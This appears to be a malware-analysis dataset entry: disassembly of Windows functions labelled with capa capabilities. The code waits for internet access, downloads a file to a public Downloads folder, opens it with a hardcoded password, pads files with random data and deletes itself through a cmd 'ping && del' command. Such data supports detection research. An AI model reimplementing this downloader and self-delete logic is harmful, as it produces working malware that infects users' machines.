joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42104c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42fd16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x1c], ecx
cmp dword [0x43a36c], 0
jne 0x42110b
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_3
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x439478
lea ecx, [ebp - 0x14]
call fcn.0042e672
lea ecx, [ebp - 0x14]
call fcn.00401c90
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4210f2
push 0x6a
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4210f2
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [0x43a36c], eax
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov eax, dword [0x43a36c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x42153a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42155b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x42155b
xor eax, eax
jmp 0x421560
mov eax, 1
pop ebp
ret
Function at 0x421562
Capabilities:
Check internet connectivity via wininet
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x42159a
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x42166a
push 0x2f
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4215c6
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x42166a
push 0
push 1
push str.http:__www.baidu.com
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x4215e6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4215c6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
push str.C:UsersPublicDownloads822.zip
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x421631
push str.C:UsersPublicDownloads822.zip
call fcn.0042153a
add esp, 4
test eax, eax
jne 0x42162f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x42166a
jmp 0x421642
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x42166a
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
push 0x2e
push str.C:UsersPublicDownloads822.zip
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42166a
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x42166e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push str.dfnxssdfy43rf
push str.C:UsersPublicDownloads822.zip
call fcn.0042df35
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x421699
xor eax, eax
jmp 0x421799
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042e118
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4216c5
mov edx, dword [ebp - 4]
push edx
call fcn.0042e177
add esp, 4
xor eax, eax
jmp 0x421799
lea eax, [ebp - 0x134]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042df69
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4216f6
mov edx, dword [ebp - 4]
push edx
call fcn.0042e177
add esp, 4
xor eax, eax
jmp 0x421799
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], 0
jmp 0x42171d
mov ecx, dword [ebp - 0x138]
add ecx, 1
mov dword [ebp - 0x138], ecx
mov edx, dword [ebp - 0x138]
cmp edx, dword [ebp - 0x13c]
jge 0x42177d
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0042df69
add esp, 0xc
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0042e0dc
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x42177b
mov eax, dword [ebp - 4]
push eax
call fcn.0042e177
add esp, 4
xor eax, eax
jmp 0x421799
jmp 0x42170e
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042e177
add esp, 4
push str.C:UsersPublicDownloads822.zip
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x42179d
Capabilities:
Create process on windows
Resolve path using msvcrt
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll___p__pgmptr]
mov eax, dword [eax]
push eax
push str._c_ping_127.0.0.1__n_1__del__f_q___s_
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push str.cmd.exe
push 0x4395e4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x421829
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push 0
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
pop ebp
ret
Function at 0x42183c
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edi
mov dword [ebp - 4], 0x50
mov eax, dword [ebp - 4]
shl eax, 0xa
mov dword [ebp - 0xc], eax
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x421880
jmp 0x421989
push 2
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
shl ecx, 0xa
cmp ecx, dword [ebp - 8]
jbe 0x42197f
mov dword [ebp - 0x414], 0
mov byte [ebp - 0x410], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x418], 0
jmp 0x4218ec
mov edx, dword [ebp - 0x418]
add edx, 1
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x418]
cmp eax, dword [ebp - 0xc]
jae 0x42197f
mov eax, dword [ebp - 0x418]
xor edx, edx
mov ecx, 0x400
div ecx
test edx, edx
jne 0x42195b
mov dword [ebp - 0x41c], 0
jmp 0x421929
mov edx, dword [ebp - 0x41c]
add edx, 1
mov dword [ebp - 0x41c], edx
cmp dword [ebp - 0x41c], 0x400
jge 0x42195b
call dword [sym.imp.MSVCRT.dll_rand]
add eax, dword [ebp - 0x41c]
movsx eax, al
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x41c]
mov byte [ebp + eax - 0x410], dl
jmp 0x42191a
push 0
lea ecx, [ebp - 0x414]
push ecx
push 0x400
lea edx, [ebp - 0x410]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4218dd
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x425f28
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430088
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0x70], 0
jne 0x425fe8
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_3
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [ebp - 0x14]
call fcn.0042e672
lea ecx, [ebp - 0x14]
call fcn.00401c90
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x425fcf
push 0x6a
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x425fcf
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.USER32.dll_CopyIcon]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x70], eax
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x425ff6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x114], ecx
lea eax, [ebp - 8]
push eax
push 1
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x426063
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x426261
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 0x214], ecx
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x20
ja 0x42638d
lea edx, [ebp - 0x20c]
push edx
push str..htm
push 0x80000000
mov ecx, dword [ebp - 0x214]
call fcn.00425ff6
test eax, eax
jne 0x42638d
push str._shellopencommand
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x20c]
push edx
push 0x80000000
mov ecx, dword [ebp - 0x214]
call fcn.00425ff6
test eax, eax
jne 0x42638d
push 0x439c8c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x426361
push 0x439c94
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0
jne 0x426356
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x20d]
mov dword [ebp - 0x210], eax
jmp 0x42635f
mov ecx, dword [ebp - 0x210]
mov byte [ecx], 0
jmp 0x42636a
mov edx, dword [ebp - 0x210]
mov byte [edx], 0
push 0x439c98
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x429bd3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x429be3
xor eax, eax
jmp 0x429dac
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x429d64
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x4358cc]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
sub ecx, 8
mov dword [ebp + 0x10], ecx
jmp 0x429bec
cmp dword [ebp + 0x10], 0
je 0x429da6
mov edx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
mov eax, dword [ecx*4 + 0x4358cc]
xor eax, edx
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0x10], 0
jne 0x429d6a
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x429dae
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
xor edx, eax
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
shr ecx, 8
mov edx, dword [edx*4 + 0x4358cc]
xor edx, ecx
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
add ecx, edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
imul ecx, ecx, 0x8088405
add ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shr ecx, 0x18
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
xor eax, ecx
and eax, 0xff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
shr edx, 8
mov eax, dword [eax*4 + 0x4358cc]
xor eax, edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
pop ebp
ret

Function at 0x42ad62
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x14]
xor edx, edx
mov dl, byte [ecx]
test edx, edx
je 0x42adb2
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42ada8
mov edx, dword [ebp + 0x14]
mov byte [edx + 8], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp + 0xc]
jmp 0x42ae0c
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x14]
cmp ecx, dword [edx + 0x18]
jbe 0x42add2
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [eax + 0x18]
sub edx, dword [ecx + 0x1c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x14]
mov eax, dword [ebp + 0x14]
add edx, dword [eax + 0x1c]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x42c7e6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x42c800
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 4], 0xffffffff
je 0x42c80a
mov eax, 0x1000000
jmp 0x42c8e7
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [ebp - 0x18]
add eax, 0x140
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + eax + 0x13f]
mov byte [ebp - 0xc], dl
movsx eax, byte [ebp - 0xc]
cmp eax, 0x5c
je 0x42c866
movsx ecx, byte [ebp - 0xc]
cmp ecx, 0x2f
je 0x42c866
push 0x439f70
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x42c89f
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x14], eax
xor ecx, ecx
cmp dword [ebp - 0x14], 0xffffffff
setne cl
mov byte [ebp - 0x10], cl
mov edx, dword [ebp - 0x10]
and edx, 0xff
test edx, edx
jne 0x42c89f
mov eax, 0x2000000
jmp 0x42c8e7
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0042aa61
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42c8c5
mov eax, dword [ebp - 4]
jmp 0x42c8e7
mov ecx, dword [ebp - 8]
push ecx
call fcn.0042b1e6
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x42c8e5
mov eax, 0x200
jmp 0x42c8e7
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x42d367
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
cmp dword [ebp + 8], 0
je 0x42d391
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42d391
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp + 0xc]
movsx eax, byte [edx]
test eax, eax
jne 0x42d3a0
jmp 0x42d4a1
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x42d3e6
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0x2f
je 0x42d3d2
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x42d3db
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x42d3b2
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp + 0xc]
je 0x42d44d
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp + 0xc]
mov byte [ebp + ecx - 0x214], 0
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0042d367
add esp, 8
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov byte [ebp - 0x108], 0
cmp dword [ebp + 8], 0
je 0x42d46d
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42d4a1
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x40b660
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b3d4]
jne 0x40b66a
repz ret
jmp fcn.004127ec

Function at 0x41849c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b3d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040fe21
and dword [ebp - 0x14], 0
cmp dword [0x502994], 0
mov dword [ebp - 0x18], eax
jne 0x41854f
push 0x403854
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4185f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403848
push ebx
call edi
test eax, eax
je 0x4185f7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403838
push ebx
mov dword [0x502994], eax
call edi
push eax
call esi
push 0x403824
push ebx
mov dword [0x502998], eax
call edi
push eax
call esi
push 0x403808
push ebx
mov dword [0x50299c], eax
call edi
push eax
call esi
mov dword [0x5029a4], eax
test eax, eax
je 0x41854f
push 0x4037f0
push ebx
call edi
push eax
call esi
mov dword [0x5029a0], eax
mov eax, dword [0x5029a0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4185a8
cmp dword [0x5029a4], ecx
je 0x4185a8
push eax
call esi
push dword [0x5029a4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4185a8
test ebx, ebx
je 0x4185a8
call edi
test eax, eax
je 0x41859f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41859f
test byte [ebp - 8], 1
jne 0x4185a8
or dword [ebp + 0x10], 0x200000
jmp 0x4185db
mov eax, dword [0x502998]
cmp eax, dword [ebp - 0x18]
je 0x4185db
push eax
call esi
test eax, eax
je 0x4185db
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4185db
mov eax, dword [0x50299c]
cmp eax, dword [ebp - 0x18]
je 0x4185db
push eax
call esi
test eax, eax
je 0x4185db
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x502994]
call esi
test eax, eax
je 0x4185f7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4185f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b660
leave
ret